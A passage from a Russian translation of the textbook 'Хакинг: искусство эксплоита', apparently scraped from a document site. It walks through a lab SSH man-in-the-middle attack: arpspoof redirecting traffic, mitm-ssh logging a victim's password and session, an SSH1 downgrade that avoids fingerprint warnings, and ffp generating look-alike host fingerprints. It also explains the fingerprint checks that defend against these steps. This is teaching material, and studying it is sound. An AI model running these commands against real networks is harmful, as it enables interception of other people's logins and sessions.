Главная страница
Навигация по странице:

  • На машине 192.168.42.250 (tetsuo), открывающей соединение с 192.168.42.72 (loki)

  • 0x752 Различия цифровых отпечатков хостов в протоколе SSH

  • SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1

  • На невинном сетевом узле 192.168.42.250 (tetsuo)

  • На машине атакующего, заставив mitm-ssh принимать только SSH1

  • 0x753 Нечеткие отпечатки

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница45 из 51
    1   ...   41   42   43   44   45   46   47   48   ...   51

    [:
    ] - Static route to port on host
    (for non NAT connections)
    Options:
    -v - Verbose output
    -n - Do not attempt to resolve hostnames
    -d - Debug, repeat to increase verbosity
    -p port - Port to listen for connections on
    -f configfile - Configuration file to read
    Log Options:
    -c logdir - Log data from client in directory
    -s logdir - Log data from server in directory
    -o file - Log passwords to file reader@hacking:

    $ mitm-ssh 192.168.42.72 -v -n -p 2222
    Using static route to 192.168.42.72:22

    0x750 Гибридные шифры
    453
    SSH MITM Server listening on 0.0.0.0 port 2222.
    Generating 768 bit RSA key.
    RSA key generation complete.
    Затем в другом окне терминала на той же машине запускается arpspoof
    Дуга Сонга, чтобы фальсифицировать кэши ARP и перенаправить тра- фик, предназначенный 192.168.42.72, на нашу машину.
    reader@hacking: $ arpspoof
    Version: 2.3
    Usage: arpspoof [-i interface] [-t target] host reader@hacking: $ sudo arpspoof -i eth0 192.168.42.72 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at
    0:12:3f:7:39:9c
    0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at
    0:12:3f:7:39:9c
    0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at
    0:12:3f:7:39:9c
    Теперь все готово к MitM-атаке на очередную ничего не подозреваю- щую жертву. Ниже показан терминал другой машины в этой сети
    (192.168.42.250), которая открывает соединение SSH с 192.168.42.72.
    На машине 192.168.42.250 (tetsuo),
    открывающей соединение с 192.168.42.72 (loki)
    iz@tetsuo: $ ssh jose@192.168.42.72
    The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
    RSA key fingerprint is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added ‘192.168.42.72’ (RSA) to the list of known hosts.
    jose@192.168.42.72’s password:
    Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
    Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
    jose@loki: $ ls -a
    . .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples jose@loki: $ id uid=1001(jose) gid=1001(jose) groups=1001(jose)
    jose@loki: $ exit logout
    Connection to 192.168.42.72 closed.
    iz@tetsuo: $
    Казалось бы, все нормально, и соединение защищенное. Однако это со- единение было тайно пропущено через машину атакующего, который имел отдельное закрытое соединение с сервером. На машине атакующе- го зарегистрированы все детали соединения.

    454
    0x700 Криптология
    На машине атакующего
    reader@hacking: $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222
    Using static route to 192.168.42.72:22
    SSH MITM Server listening on 0.0.0.0 port 2222.
    Generating 768 bit RSA key.
    RSA key generation complete.
    WARNING: /usr/local/etc/moduli does not exist, using fixed modulus
    [MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929
    [MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22
    [2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
    SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
    [MITM] Connection from UNKNOWN:1929 closed reader@hacking: $ ls /usr/local/var/log/mitm-ssh/
    passwd.log ssh2 192.168.42.250:1929 <- 192.168.42.72:22
    ssh2 192.168.42.250:1929 -> 192.168.42.72:22
    reader@hacking: $ cat /usr/local/var/log/mitm-ssh/passwd.log
    [2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
    SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt reader@hacking: $ cat /usr/local/var/log/mitm-ssh/ssh2*
    Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
    Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
    jose@loki: $ ls -a
    . .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples jose@loki: $ id uid=1001(jose) gid=1001(jose) groups=1001(jose)
    jose@loki: $ exit logout
    Поскольку в действительности аутентификация была переадресована и машина атакующего выступала в качестве прокси-сервера, появи- лась возможность перехватить пароль sP#byp%srt. Кроме того, перехва- чены данные, передававшиеся во время соединения, и атакующему из- вестно все, что делала жертва во время сеанса SSH.
    Подобная атака возможна из-за способности атакующего маскировать- ся под любого из корреспондентов. SSL и SSH проектировались с уче- том такой возможности и обладают средствами защиты против фаль- сификации идентифицирующих данных. В SSL для проверки личных данных применяются сертификаты, а в SSH – цифровые отпечатки хо- ста. Если у атакующего не окажется нужного сертификата или циф- рового отпечатка Б, когда А попытается открыть с ним зашифрован- ный канал связи, будет обнаружено несоответствие цифровых подпи- сей, и А получит об этом предупреждение.
    В предыдущем примере 192.168.42.250 (tetsuo) никогда раньше не устанавливал связь по SSH с 192.168.42.72 (loki) и поэтому не распола- гал его отпечатком. Фактически за правильный он принял отпечаток,

    0x750 Гибридные шифры
    455
    сгенерированный mitm-ssh. Но если бы у 192.168.42.250 (tetsuo) был отпечаток для 192.168.42.72 (loki), атака была бы замечена и пользо- ватель получил бы бросающееся в глаза предупреждение:
    iz@tetsuo: $ ssh jose@192.168.42.72
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
    Someone could be eavesdropping on you right now (man-in-the-middle attack)!
    It is also possible that the RSA host key has just been changed.
    The fingerprint for the RSA key sent by the remote host is
    84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
    Please contact your system administrator.
    Add correct host key in /home/jon/.ssh/known_hosts to get rid of this message.
    Offending key in /home/jon/.ssh/known_hosts:1
    RSA host key for 192.168.42.72 has changed and you have requested strict checking.
    Host key verification failed.
    iz@tetsuo: $
    Клиент openssh будет препятствовать установлению соединения, пока пользователь не удалит прежний цифровой отпечаток. Однако мно- гие клиенты SSH в Windows не столь строги в соблюдении этих правил и выводят запрос «Вы уверены, что хотите продолжить соединение?»
    Неподготовленный пользователь может просто щелкнуть мышью, иг- норировав предупреждение.
    0x752 Различия цифровых отпечатков хостов
    в протоколе SSH
    Все же у цифровых отпечатков SSH есть ряд уязвимостей. Эти уязви- мости устранены в более новых версиях openssh, но в старых реализа- циях они сохраняются.Обычно, когда впервые устанавливается соеди- нение SSH с новым хостом, его отпечаток добавляется в файл known_
    hosts:
    iz@tetsuo: $ ssh jose@192.168.42.72
    The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
    RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added ‘192.168.42.72’ (RSA) to the list of known hosts.
    jose@192.168.42.72’s password:
    iz@tetsuo: $ grep 192.168.42.72 /.ssh/known_hosts
    192.168.42.72 ssh-rsa
    AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNz iH5upZmk4/JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTa hsBoKOKSaTUOW0RN/1t3G/52KTzjtKGacX4gTLNSc8fzfZU=
    iz@tetsuo: $

    456
    0x700 Криптология
    Однако есть две разные версии протокола SSH – SSH1 и SSH2, каждая со своими цифровыми отпечатками узла.
    iz@tetsuo: $ rm /.ssh/known_hosts iz@tetsuo: $ ssh -1 jose@192.168.42.72
    The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
    RSA1 key fingerprint is e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55.
    Are you sure you want to continue connecting (yes/no)? no
    Host key verification failed.
    iz@tetsuo: $ ssh -2 jose@192.168.42.72
    The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
    RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
    Are you sure you want to continue connecting (yes/no)? no
    Host key verification failed.
    iz@tetsuo: $
    Баннер, отображаемый сервером SSH, указывает, какие версии прото- кола SSH он понимает (ниже выделены полужирным):
    iz@tetsuo: $ telnet 192.168.42.72 22
    Trying 192.168.42.72...
    Connected to 192.168.42.72.
    Escape character is ‘^]’.
    SSH-1.99-OpenSSH_3.9p1
    Connection closed by foreign host.
    iz@tetsuo: $ telnet 192.168.42.1 22
    Trying 192.168.42.1...
    Connected to 192.168.42.1.
    Escape character is ‘^]’.
    SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
    Connection closed by foreign host.
    iz@tetsuo: $
    В баннере 192.168.42.72 (loki) есть строка SSH-1.99, показывающая, что сервер воспринимает оба протокола, 1 и 2. Часто в конфигурации сер- вера SSH указывается строка Protocol 2,1, тоже означающая, что сер- вер понимает оба протокола, но по возможности старается использо- вать SSH2. Это сделано в целях обеспечения обратной совместимости.
    В отличие от этого, в баннере 192.168.42.1 есть строка SSH-2.0, показы- вающая, что сервер понимает только протокол 2. Тогда очевидно, что все подключающиеся к этому узлу клиенты могут связываться только по SSH2, и потому у них есть отпечатки только для протокола 2.
    То же самое относится к loki (192.168.42.72); однако loki также при- нимает SSH1, у которого другой набор отпечатков узлов. Едва ли ока- жется, что клиент использовал SSH1, а потому отпечатка узла для это- го протокола у него не будет.
    Если при MitM-атаке модифицированный демон SSH заставит клиента выбрать для связи альтернативный протокол, отпечаток хоста не будет

    0x750 Гибридные шифры
    457
    найден. Пользователь получит не длинное предупреждение, а предло- жение добавить новый цифровой отпечаток. У программы mitm-ssh файл конфигурации похож на тот, что применяется в openssh, потому что она основана на openssh. Если в файл /usr/local/etc/mitm-ssh_config добавить строку Protocol 1, то демон mitm-ssh будет заявлять, что он понимает только протокол SSH1.
    Следующий листинг показывает, что сервер SSH обычно принимает оба протокола – SSH1 и SSH2, но с новым файлом конфигурации лож- ный сервер заявляет, что понимает только протокол SSH1.
    На невинном сетевом узле 192.168.42.250 (tetsuo)
    iz@tetsuo: $ telnet 192.168.42.72 22
    Trying 192.168.42.72...
    Connected to 192.168.42.72.
    Escape character is ‘^]’.
    SSH-1.99-OpenSSH_3.9p1
    Connection closed by foreign host.
    iz@tetsuo: $ rm /.ssh/known_hosts iz@tetsuo: $ ssh jose@192.168.42.72
    The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
    RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added ‘192.168.42.72’ (RSA) to the list of known hosts.
    jose@192.168.42.72’s password:
    iz@tetsuo: $
    На машине атакующего,
    заставив mitm-ssh принимать только SSH1
    reader@hacking: $ echo “Protocol 1” >> /usr/local/etc/mitm-ssh_config reader@hacking: $ tail /usr/local/etc/mitm-ssh_config
    # Where to store passwords
    #PasswdLogFile /var/log/mitm-ssh/passwd.log
    # Where to store data sent from client to server
    #ClientToServerLogDir /var/log/mitm-ssh
    # Where to store data sent from server to client
    #ServerToClientLogDir /var/log/mitm-ssh
    Protocol 1
    reader@hacking: $ mitm-ssh 192.168.42.72 -v -n -p 2222
    Using static route to 192.168.42.72:22
    SSH MITM Server listening on 0.0.0.0 port 2222.
    Generating 768 bit RSA key.
    RSA key generation complete.

    458
    0x700 Криптология
    Снова на 192.168.42.250 (tetsuo)
    iz@tetsuo: $ telnet 192.168.42.72 22
    Trying 192.168.42.72...
    Connected to 192.168.42.72.
    Escape character is ‘^]’.
    SSH-1.5-OpenSSH_3.9p1
    Connection closed by foreign host.
    Обычно клиенты вроде tetsuo, соединяющиеся с loki на 192.168.42.72, должны иметь опыт только соединений SSH2. Поэтому у клиента дол- жен храниться только отпечаток узла для протокола 2. Когда при
    MitM-атаке навязывается протокол 1, отпечаток атакующего не бу- дет сравниваться с тем отпечатком, который уже хранится, потому что протоколы разные. В старых реализациях просто предлагалось доба- вить этот новый отпечаток, потому что формально отпечатка узла для этого протокола нет. Это показывает следующий листинг:
    iz@tetsuo: $ ssh jose@192.168.42.72
    The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established.
    RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
    Are you sure you want to continue connecting (yes/no)?
    С тех пор как стала известна эта уязвимость, новые реализации Open-
    SSH стали выводить несколько более развернутое сообщение:
    iz@tetsuo: $ ssh jose@192.168.42.72
    WARNING: RSA key found for host 192.168.42.72
    in /home/iz/.ssh/known_hosts:1
    RSA key fingerprint ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
    The authenticity of host ‘192.168.42.72 (192.168.42.72)’ can’t be established but keys of different type are already known for this host.
    RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
    Are you sure you want to continue connecting (yes/no)?
    Это модифицированное предупреждение звучит не так строго, как предупреждение, выводимое при различии цифровых отпечатков хо- ста для одного и того же протокола. Кроме того, поскольку не все кли- енты вовремя обновляются, этот прием может сохранить свою дей- ственность для MitM-атак.
    0x753 Нечеткие отпечатки
    У Конрада Рика (Konrad Rieck) возникла интересная идея относитель- но цифровых отпечатков хоста в SSH. Часто пользователь подключа- ется к серверу через различные клиенты. Отпечаток хоста выводится и регистрируется каждый раз, когда выбирается новый клиент, и оза- боченный безопасностью клиент обычно запоминает общий вид отпе- чатка хоста. Никто, конечно, не заучивает отпечаток целиком, но су-

    0x750 Гибридные шифры
    459
    щественные изменения в нем легко обнаруживаются. Если при соеди- нении через новый клиент пользователь помнит, как примерно выгля- дит отпечаток хоста, это значительно увеличивает безопасность соеди- нения. При попытке осуществить MitM-атаку явное различие в цифро- вых отпечатках хоста обычно определяется на глаз.
    Однако глаз и голову можно провести. Разные цифровые отпечатки мо- гут быть очень похожи друг на друга. В некоторых экранных шриф- тах цифры 1 и 7 выглядят почти одинаково. Обычно лучше всего за- поминаются шестнадцатеричные цифры в начале и конце отпечатка, а те, что в середине, выглядят немного расплывчато. Технология не- четких отпечатков состоит в в обмане зрения: генерируются ключи хо- ста, очень похожие на исходный отпечаток.
    В пакете openssh есть средства для извлечения ключей хостов с сер- вера.
    reader@hacking: $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey
    # 192.168.42.72 SSH-1.99-OpenSSH_3.9p1
    reader@hacking: $ cat loki.hostkey
    192.168.42.72 ssh-rsa
    AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNz iH5upZmk4/JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTa hsBoKOKSaTUOW0RN/1t3G/52KTzjtKGacX4gTLNSc8fzfZU=
    reader@hacking: $ ssh-keygen -l -f loki.hostkey
    1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
    reader@hacking: $
    Теперь вид отпечатка хоста для 192.168.42.72 (loki) известен, и можно генерировать похожие с виду нечеткие отпечатки. Программу для это- го разработал Конрад Рик, найти ее можно на http://www.thc.org/thc ffp/.
    Следующий листинг показывает, как создаются некоторые нечеткие отпечатки для 192.168.42.72 (loki).
    reader@hacking: $ ffp
    Usage: ffp [Options]
    Options:
    -f type Specify type of fingerprint to use [Default: md5]
    Available: md5, sha1, ripemd
    -t hash Target fingerprint in byte blocks.
    Colon-separated: 01:23:45:67... or as string 01234567...
    -k type Specify type of key to calculate [Default: rsa]
    Available: rsa, dsa
    -b bits Number of bits in the keys to calculate [Default: 1024]
    -K mode Specify key calulation mode [Default: sloppy]
    Available: sloppy, accurate
    -m type Specify type of fuzzy map to use [Default: gauss]
    Available: gauss, cosine
    -v variation Variation to use for fuzzy map generation [Default: 7.3]
    -y mean Mean value to use for fuzzy map generation [Default: 0.14]
    -l size Size of list that contains best fingerprints [Default: 10]
    -s filename Filename of the state file [Default: /var/tmp/ffp.state]

    460
    0x700 Криптология
    -e Extract SSH host key pairs from state file
    -d directory Directory to store generated ssh keys to [Default: /tmp]
    -p period Period to save state file and display state [Default: 60]
    -V Display version information
    No state file /var/tmp/ffp.state present, specify a target hash.
    reader@hacking: $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13: cb:a2:f7:e0:10:59:a0
    ---[Initializing]-----------------------------------------------------------
    Initializing Crunch Hash: Done
    Initializing Fuzzy Map: Done
    Initializing Private Key: Done
    Initializing Hash List: Done
    Initializing FFP State: Done
    ---[Fuzzy Map]--------------------------------------------------------------
    Length: 32
    Type: Inverse Gaussian Distribution
    Sum: 15020328
    Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% :
    3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% :
    0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% :
    1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% :
    ---[Current Key]------------------------------------------------------------
    Key Algorithm: RSA (Rivest Shamir Adleman)
    Key Bits / Size of n: 1024 Bits
    Public key e: 0x10001
    Public Key Bits / Size of e: 17 Bits
    Phi(n) and e r.prime: Yes
    Generation Mode: Sloppy
    State File: /var/tmp/ffp.state
    Running...
    ---[Current State]----------------------------------------------------------
    Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s
    ----------------------------------------------------------------------------
    Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
    Hash Algorithm: Message Digest 5 (MD5)
    Digest Size: 16 Bytes / 128 Bits
    Message Digest: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81
    Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
    Fuzzy Quality: 25.652482%
    ---[Current State]----------------------------------------------------------
    Running: 0d 00h 01m 00s | Total: 7635k hashs | Speed: 127242 hashs/s
    ----------------------------------------------------------------------------
    Best Fuzzy Fingerprint from State File /var/tmp/ffp.state
    Hash Algorithm: Message Digest 5 (MD5)
    Digest Size: 16 Bytes / 128 Bits

    0x750 Гибридные шифры
    1   ...   41   42   43   44   45   46   47   48   ...   51


    написать администратору сайта